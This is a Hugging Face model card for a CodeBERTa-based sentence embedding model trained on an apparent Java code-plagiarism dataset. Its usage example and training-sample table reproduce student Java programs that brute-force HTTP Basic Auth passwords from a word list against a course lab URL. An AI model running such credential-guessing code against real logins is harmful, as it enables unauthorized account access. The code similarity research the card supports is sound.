Modelpublic

buelfhood/SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr5e-05-split0.0

sourceHugging Faceupdated 1y agoView on Hugging Face

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Model Card

SentenceTransformer based on huggingface/CodeBERTa-small-v1

This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the soco_train_java dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more.

Model Details

Model Description

—Model Type: Sentence Transformer
—Base model: huggingface/CodeBERTa-small-v1
—Maximum Sequence Length: 512 tokens
—Output Dimensionality: 768 dimensions
—Similarity Function: Cosine Similarity
—Training Dataset:
—soco_train_java

Model Sources

—Documentation: Sentence Transformers Documentation
—Repository: Sentence Transformers on GitHub
—Hugging Face: Sentence Transformers on Hugging Face

Full Model Architecture

SentenceTransformer(
  (0): Transformer({'max_seq_length': 512, 'do_lower_case': False, 'architecture': 'RobertaModel'})
  (1): Pooling({'word_embedding_dimension': 768, 'pooling_mode_cls_token': False, 'pooling_mode_mean_tokens': True, 'pooling_mode_max_tokens': False, 'pooling_mode_mean_sqrt_len_tokens': False, 'pooling_mode_weightedmean_tokens': False, 'pooling_mode_lasttoken': False, 'include_prompt': True})
)

Usage

Direct Usage (Sentence Transformers)

First install the Sentence Transformers library:

bash

pip install -U sentence-transformers

Then you can load this model and run inference.

python

from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codeberta-mnrl-triplets-ep1-bs16-lr5e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8696, 0.1269],
#         [0.8696, 1.0000, 0.0209],
#         [0.1269, 0.0209, 1.0000]])

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</details> -->

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Downstream Usage (Sentence Transformers)

You can finetune this model on your own dataset.

<details><summary>Click to expand</summary>

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Training Details

Training Dataset

socotrainjava

—Dataset: soco_train_java at 44ca4ff
—Size: 42,960 training samples
—Columns: <code>anchorcode</code>, <code>positivecode</code>, and <code>negative_code</code>
—Approximate statistics based on the first 1000 samples: | | anchorcode | positivecode | negative_code | |:--------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------|:-------------------------------------------------------------------------------------| | type | string | string | string | | details | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 512 tokens</li><li>mean: 512.0 tokens</li><li>max: 512 tokens</li></ul> | <ul><li>min: 51 tokens</li><li>mean: 456.08 tokens</li><li>max: 512 tokens</li></ul> |
—Samples: | anchorcode | positivecode | negative_code | |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | <code>import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...</code> | <code>import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println...</code> | <code> import java.io.; import java.net.; import java.util.; import java.misc.BASE64Encoder; public class Dictionary { private String userId; private String password; ReadDictionary myWords = new ReadDictionary(); public Dictionary() { myWords.openFile(); Authenticator.setDefault (new MyAuthenticator()); } public String fetchURL (String urlString) { StringBuffer sb = new StringBuffer(); HttpURLConnection connection; Date startTime, endTime; int responseCode = -1; boolean retry = true; URL url; startTime = new Date(); System.out.println (" time :" + startTime); while (retry == true) { try { url = new URL (urlString); connection = (HttpURLConnection)url.openConnection(); setUserId(""); setPassword("rhk8611"); System.out.println("Attempting get a response : " +connection.getURL() ); responseCode = connection.getResponseCode(); System.out.print(responseCode + " "); if (responseCode == HttpURLCo...</code> | | <code>import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...</code> | <code>import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println...</code> | <code> public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i < (bytes.length - bytes.length%3); i+=3) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); ...</code> | | <code>import java.net.; import java.io.; import java.; public class Dictionary { URLConnection conn = null; private static boolean status = false; public static void main (String args[]){ Dictionary a = new Dictionary(); String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php", "", ""}; File file = new File("words"); exit: try { BufferedReader in = new BufferedReader(new FileReader(file)); int attempt = 0; inp[2] = in.readLine(); while (inp[2] != null) { if (inp[2].length() <= 3) { attempt++; a.doit(inp); if (status) { System.out.println("Crrect password is: " + inp[2]); System.out.println("Number of attempts = " + attempt); break exit; } } inp[2] = in.readLine(); } } catch (FileNotFoundException e1) { System.err.println("File not found: " + file); } catch (IOException e2) { e2.printStackTrace(); } } public void doit(String ar...</code> | <code>import java.net.; import java.io.; public class Dictionary { int attempts = 0; URLConnection conn = null; public static void main (String args[]){ Dictionary a = new Dictionary(); a.attack(args); } public void attack(String args[]) { try { String login = new String(""); String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String passwd = new String(); passwd = getPasswd(); BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd))); String line; while ((line = in.readLine()) != null) { System.out.println(line); } System.out.println("Password Cracked Successfully!!!"); System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries"); } catch (IOException e) { String r = new String(e.getMessage()); if ( r != null) { System.out.println...</code> | <code> import java.net.; import java.io.IOException; import java.util.; import java.io.*; public class Dictionary { static String userName; static URL url; static URLAuthenticator urlAuthenticator; static int noOfAttempts; public Dictionary() { } public static void main (String args[]) { Properties props = System.getProperties(); props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080"); System.out.println(props.get("http.proxyHost")); BufferedReader inFile = null; try { if (args.length < 1) { System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words"); System.exit(1); } inFile = new BufferedReader (new FileReader(args[0])); breakPassword(inFile); } catch (FileNotFoundException e) { System.err.println(e.getMessage()); System.exit(1); } catch (IOException e) { ...</code> |
—Loss: <code>MultipleNegativesRankingLoss</code> with these parameters:

json

  {
      "scale": 20.0,
      "similarity_fct": "cos_sim",
      "gather_across_devices": false
  }

Training Hyperparameters

Non-Default Hyperparameters

—per_device_train_batch_size: 16
—num_train_epochs: 1
—fp16: True
—batch_sampler: no_duplicates

All Hyperparameters

<details><summary>Click to expand</summary>

—overwrite_output_dir: False
—do_predict: False
—eval_strategy: no
—prediction_loss_only: True
—per_device_train_batch_size: 16
—per_device_eval_batch_size: 8
—per_gpu_train_batch_size: None
—per_gpu_eval_batch_size: None
—gradient_accumulation_steps: 1
—eval_accumulation_steps: None
—torch_empty_cache_steps: None
—learning_rate: 5e-05
—weight_decay: 0.0
—adam_beta1: 0.9
—adam_beta2: 0.999
—adam_epsilon: 1e-08
—max_grad_norm: 1.0
—num_train_epochs: 1
—max_steps: -1
—lr_scheduler_type: linear
—lr_scheduler_kwargs: {}
—warmup_ratio: 0
—warmup_steps: 0
—log_level: passive
—log_level_replica: warning
—log_on_each_node: True
—logging_nan_inf_filter: True
—save_safetensors: True
—save_on_each_node: False
—save_only_model: False
—restore_callback_states_from_checkpoint: False
—no_cuda: False
—use_cpu: False
—use_mps_device: False
—seed: 42
—data_seed: None
—jit_mode_eval: False
—bf16: False
—fp16: True
—fp16_opt_level: O1
—half_precision_backend: auto
—bf16_full_eval: False
—fp16_full_eval: False
—tf32: None
—local_rank: 0
—ddp_backend: None
—tpu_num_cores: None
—tpu_metrics_debug: False
—debug: []
—dataloader_drop_last: False
—dataloader_num_workers: 0
—dataloader_prefetch_factor: None
—past_index: -1
—disable_tqdm: False
—remove_unused_columns: True
—label_names: None
—load_best_model_at_end: False
—ignore_data_skip: False
—fsdp: []
—fsdp_min_num_params: 0
—fsdp_config: {'minnumparams': 0, 'xla': False, 'xlafsdpv2': False, 'xlafsdpgrad_ckpt': False}
—fsdp_transformer_layer_cls_to_wrap: None
—accelerator_config: {'splitbatches': False, 'dispatchbatches': None, 'evenbatches': True, 'useseedablesampler': True, 'nonblocking': False, 'gradientaccumulationkwargs': None}
—parallelism_config: None
—deepspeed: None
—label_smoothing_factor: 0.0
—optim: adamwtorchfused
—optim_args: None
—adafactor: False
—group_by_length: False
—length_column_name: length
—project: huggingface
—trackio_space_id: trackio
—ddp_find_unused_parameters: None
—ddp_bucket_cap_mb: None
—ddp_broadcast_buffers: False
—dataloader_pin_memory: True
—dataloader_persistent_workers: False
—skip_memory_metrics: True
—use_legacy_prediction_loop: False
—push_to_hub: False
—resume_from_checkpoint: None
—hub_model_id: None
—hub_strategy: every_save
—hub_private_repo: None
—hub_always_push: False
—hub_revision: None
—gradient_checkpointing: False
—gradient_checkpointing_kwargs: None
—include_inputs_for_metrics: False
—include_for_metrics: []
—eval_do_concat_batches: True
—fp16_backend: auto
—push_to_hub_model_id: None
—push_to_hub_organization: None
—mp_parameters:
—auto_find_batch_size: False
—full_determinism: False
—torchdynamo: None
—ray_scope: last
—ddp_timeout: 1800
—torch_compile: False
—torch_compile_backend: None
—torch_compile_mode: None
—include_tokens_per_second: False
—include_num_input_tokens_seen: no
—neftune_noise_alpha: None
—optim_target_modules: None
—batch_eval_metrics: False
—eval_on_start: False
—use_liger_kernel: False
—liger_kernel_config: None
—eval_use_gather_object: False
—average_tokens_across_devices: True
—prompts: None
—batch_sampler: no_duplicates
—multi_dataset_batch_sampler: proportional
—router_mapping: {}
—learning_rate_mapping: {}

</details>

Training Logs

Epoch	Step	Training Loss
0.0372	100	0.4687
0.0745	200	0.3601
0.1117	300	0.341
0.1490	400	0.343
0.1862	500	0.3531
0.2235	600	0.3351
0.2607	700	0.3641
0.2980	800	0.3264
0.3352	900	0.3498
0.3724	1000	0.3169
0.4097	1100	0.3427
0.4469	1200	0.3459
0.4842	1300	0.3253
0.5214	1400	0.3107
0.5587	1500	0.3153
0.5959	1600	0.3193
0.6331	1700	0.2985
0.6704	1800	0.3201
0.7076	1900	0.3149
0.7449	2000	0.3152
0.7821	2100	0.2931
0.8194	2200	0.3093
0.8566	2300	0.2813
0.8939	2400	0.2745
0.9311	2500	0.281
0.9683	2600	0.2887

Framework Versions

—Python: 3.12.3
—Sentence Transformers: 5.1.1
—Transformers: 4.57.0
—PyTorch: 2.8.0+cu128
—Accelerate: 1.10.1
—Datasets: 4.1.1
—Tokenizers: 0.22.1

Citation

BibTeX

Sentence Transformers

bibtex

@inproceedings{reimers-2019-sentence-bert,
    title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks",
    author = "Reimers, Nils and Gurevych, Iryna",
    booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing",
    month = "11",
    year = "2019",
    publisher = "Association for Computational Linguistics",
    url = "https://arxiv.org/abs/1908.10084",
}

MultipleNegativesRankingLoss

bibtex

@misc{henderson2017efficient,
    title={Efficient Natural Language Response Suggestion for Smart Reply},
    author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil},
    year={2017},
    eprint={1705.00652},
    archivePrefix={arXiv},
    primaryClass={cs.CL}
}

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